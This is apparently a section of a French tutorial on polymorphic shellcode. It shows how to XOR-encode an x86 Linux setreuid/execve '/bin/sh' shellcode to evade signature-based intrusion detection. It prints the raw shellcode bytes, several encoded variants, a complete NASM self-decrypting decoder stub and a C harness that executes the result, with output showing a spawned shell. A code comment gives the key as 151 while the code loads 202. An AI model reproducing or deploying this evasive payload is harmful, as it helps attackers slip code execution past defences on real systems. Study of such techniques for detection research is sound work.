I°) Shellcode auto-décodant
Chiffrer le shellcode
Le but du polymorphisme est d'éviter les détections prématurées d'attaques. En effet, afin notamment
de protéger contre les exploitations dites 0-day (vulnérabilitées inconnues du public), des mécanismes de
détection a priori ont été mis en places, parmi lesquels l'analyse statique des paquets et la détection
de shellcode. L'analyse de ce type de paquets (pas de connaissance de la structure) ne peut se faire que par deux
moyens : l'analyse statique (génération de signatures de shellcode) et la simulation (essayer d'exécuter dynamiquement
les séquences d'instructions valides pour l'hôte cible). Le polymorphisme a été créé afin de répondre efficacement
au premier type d'analyse, afin que la génération de signatures ne soit pas effective. L'analyse par simulation
est quant à elle plus un débat de recherche qu'une réalité pratique, puisqu'il paraît impossible de modéliser
le contexte (comme par exemple lorsque le shellcode commence par un pop ebx étant donné que le simulateur ne
connait pas l'état de la pile et également car les attaquants pourraient injecter des boucles et autres mécanismes
rendant impratiquables une réelle détection).
Afin d'outrepasser les premières signatures (repérer un appel aux syscalls setreuid et exec*, recherche des chaines
de caractères (/+)bin(/+)(.*)sh dans l'ordre ou dans le désordre, etc.), la première réponse a été de chiffer le
shellcode. De manière immédiate, il sera impossible d'effectuer une recherche de signatures significative. Afin
d'illustrer ceci, nous avons pris l'exemple de la manière la plus simple de coder efficacement un ensemble d'octets :
la fonction XOR. En effet, la fonction XOR a la particularité d'être symétrique (à savoir que (f^k)^k = f) et il
n'est pas possible, sans connaissance de la clé et autrement qu'en essayant toutes les possibilités, d'effectuer
un reverse enginnering sur un buffer xor-encodé (dépendance forte avec la clé et le buffer original, diffusion forte
de la transformation).
$ nasm shellcode.asm
$ gcc xor_file.c -o xor_file
$ ./xor_file 0 shellcode # Identité
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b
\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68
$ ./xor_file 49 shellcode # Mauvaise clé
\x00\xf1\x81\x77\x00\xea\x00\xf8\xfc\xb1\xda\x27\x6a\x00\xf1\xb9\x72\x36\xb8\x6a
\x39\xb8\x72\x3d\x81\x3a\xbc\x7a\x39\xbc\x62\x3d\xfc\xb1\xd9\xd4\xce\xce\xce\x1e
\x53\x58\x5f\x1e\x42\x59
$ ./xor_file 42 shellcode
\x1b\xea\x9a\x6c\x1b\xf1\x1b\xe3\xe7\xaa\xc1\x3c\x71\x1b\xea\xa2\x69\x2d\xa3\x71
\x22\xa3\x69\x26\x9a\x21\xa7\x61\x22\xa7\x79\x26\xe7\xaa\xc2\xcf\xd5\xd5\xd5\x05
\x48\x43\x44\x05\x59\x42
$ ./xor_file 66 shellcode
\x73\x82\xf2\x04\x73\x99\x73\x8b\x8f\xc2\xa9\x54\x19\x73\x82\xca\x01\x45\xcb\x19
\x4a\xcb\x01\x4e\xf2\x49\xcf\x09\x4a\xcf\x11\x4e\x8f\xc2\xaa\xa7\xbd\xbd\xbd\x6d
\x20\x2b\x2c\x6d\x31\x2a
Ces quelques tests simples d'un xor byte à byte du shellcode avec différentes clés (0, 0x31, 42 et 0x42) nous montrent bien
que deux xor avec des clés différentes sont très difficiles à corréler (le petit utilitaire xor_file est présent dans les
sources). On remarque qu'il nous faudra éviter la clé 0
(car f^0 = f) et les clés correspondant à un byte du shellcode original (car k^k=0 et que nous ne devons pas avoir de byte
nul), ce qui est ici le cas avec la clé 49 = 0x31. Mais vous l'avez compris, encoder ce shellcode n'est pas suffisant, puisqu'il
ne veut potentiellement plus rien dire en termes d'instructions. Il faut donc lui permettre de s'auto-déchiffrer.
Shellcode auto-déchiffrant
La structure des codes auto-déchiffrants est toujours la même : placer un module permettant de déchiffrer au début,
le chiffré à la fin, et a la fin du premier module un jump vers le déchiffré. Ainsi, le shellcode complet injecté aura plus ou
moins la structure suivante :
+++++++++++++++
Decodeur XOR
+++++++++++++++
jmp to encodé
+++++++++++++++
Shellcode
XOR-encodé
+++++++++++++++
Avec nos modestes connaissances en assembleur et en essayant de copier les mécanismes vus lors de la première partie, il nous est
relativement aisé de créer un petit programme permettant de décoder un shellcode XOR-encodé :
BITS 32
jmp short sc
retour:
pop esi ; esi pointe vers le shellcode
xor eax,eax ; Mise a zéro des registres utilisés
xor ebx,ebx
xor ecx,ecx
mov bl,46 ; ebx = 46 (taille du shellcode encodé)
mov al,202 ; eax = 151 (clef xor)
boucle: ; boucle de décodage xor
xor [esi+ecx],eax ; xor entre le byte courant et la cle
inc ecx
cmp ebx,ecx ; tant que ecx n'est pas égal à 46
jne boucle
jmp esi ; on execute le shellcode désormais décodé
sc: ; label de notre shellcode encodé
call retour
shellcode db 0xa6,0x57,0x27,0xd1,0xa6,0x4c,0xa6,0x5e,0x5a,0x17,0x7c,0x81,0xcc,0xa6,0x57,
0x1f,0xd4,0x90,0x1e,0xcc,0x9f,0x1e,0xd4,0x9b,0x27,0x9c,0x1a,0xdc,0x9f,0x1a,0xc4,0x9b,0x5a,
0x17,0x7f,0x72,0x68,0x68,0x68,0xb8,0xf5,0xfe,0xf9,0xb8,0xe4,0xff
Comme vous le voyez, il n'y a rien d'extravaguant, on récupère l'adresse sur la pile de notre shellcode encodé comme précédemment,
puis on effectue une boucle basique permettant d'effectuer le xor de chacun des bytes avec la clé (ici 151), et enfin on saute
vers le shellcode ainsi décodé. Bien. Est-ce que ceci marche au moins ? Testons avec le court programme suivant (encore une fois,
le petit utilitaire file2chars est dans les sources) :
$ cat test_bytecode.c
#include <stdio.h>
#include <string.h>
char shellcode[]="";
int main () {
int (*sc)() = (int (*)())shellcode;
printf("Launching shellcode\n");
printf("Length: %d bytes\n", strlen(shellcode));
sc();
return 0;
}
$ nasm unxor_shellcode.asm
$ gcc -o file2chars file2chars.c && ./file2chars unxor_shellcode
\xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x97\x31\x04\x0e\x41\x39\xcb\x75\xf8\xff\xe6\xe8\xe6\xff\xff\xff\xa6\x57 \x27\xd1\xa6\x4c\xa6\x5e\x5a\x17\x7c\x81\xcc\xa6\x57\x1f\xd4\x90\x1e\xcc\x9f\x1e\xd4\x9b\x27\x9c\x1a\xdc\x9f\x1a\xc4\x9b \x5a\x17\x7f\x72\x68\x68\x68\xb8\xf5\xfe\xf9\xb8\xe4\xff
$ vi test_bytecode.c # on place ce shellcode dans char shellcode[]
$ gcc test_bytecode.c -o test_bytecode && ./test_bytecode
Launching normal shellcode
Length: 74 bytes
sh-3.2$ exit
exit
$
Nous avons donc réussi une première étape importante : la sémantique réelle de notre bytecode injecté est chiffrée, rendant très
compliquées les analyses statiques, d'autant plus lorsque les clés utilisées sont sur plusieurs bytes (suppression
des redondances) ou lorsque les algorithmes utilisés sont plus complexes. Ceci dit, une observation simple remet en cause notre
travail. Voici les shellcodes générés pour les clés 151 et 213 :
\xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x97\x31\x04\x0e\x41\x39\xcb\x75
\xf8\xff\xe6\xe8\xe6\xff\xff\xff\xa6\x57\x27\xd1\xa6\x4c\xa6\x5e\x5a\x17\x7c\x81
\xcc\xa6\x57\x1f\xd4\x90\x1e\xcc\x9f\x1e\xd4\x9b\x27\x9c\x1a\xdc\x9f\x1a\xc4\x9b
\x5a\x17\x7f\x72\x68\x68\x68\xb8\xf5\xfe\xf9\xb8\xe4\xff
\xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\xd5\x31\x04\x0e\x41\x39\xcb\x75
\xf8\xff\xe6\xe8\xe6\xff\xff\xff\xe4\x15\x65\x93\xe4\x0e\xe4\x1c\x18\x55\x3e\xc3
\x8e\xe4\x15\x5d\x96\xd2\x5c\x8e\xdd\x5c\x96\xd9\x65\xde\x58\x9e\xdd\x58\x86\xd9
\x18\x55\x3d\x30\x2a\x2a\x2a\xfa\xb7\xbc\xbb\xfa\xa6\xbd
En effet, un point faible perdure dans notre approche : nous utilisons, à un byte près (la clé), le même décodeur ! Bien que nous
ayons supprimé notre signature originale, nous en avons créé une deuxième. Etant donné la multiplicité des décodeurs possibles,
cela paraît tout de même difficilement imaginable de générer des signatures pour chacun d'entre eux. Ceci dit, ne serait-il pas
possible de générer ce même décodeur sous plusieurs formes distinctes ? C'est ce que nous allons voir tout de suite.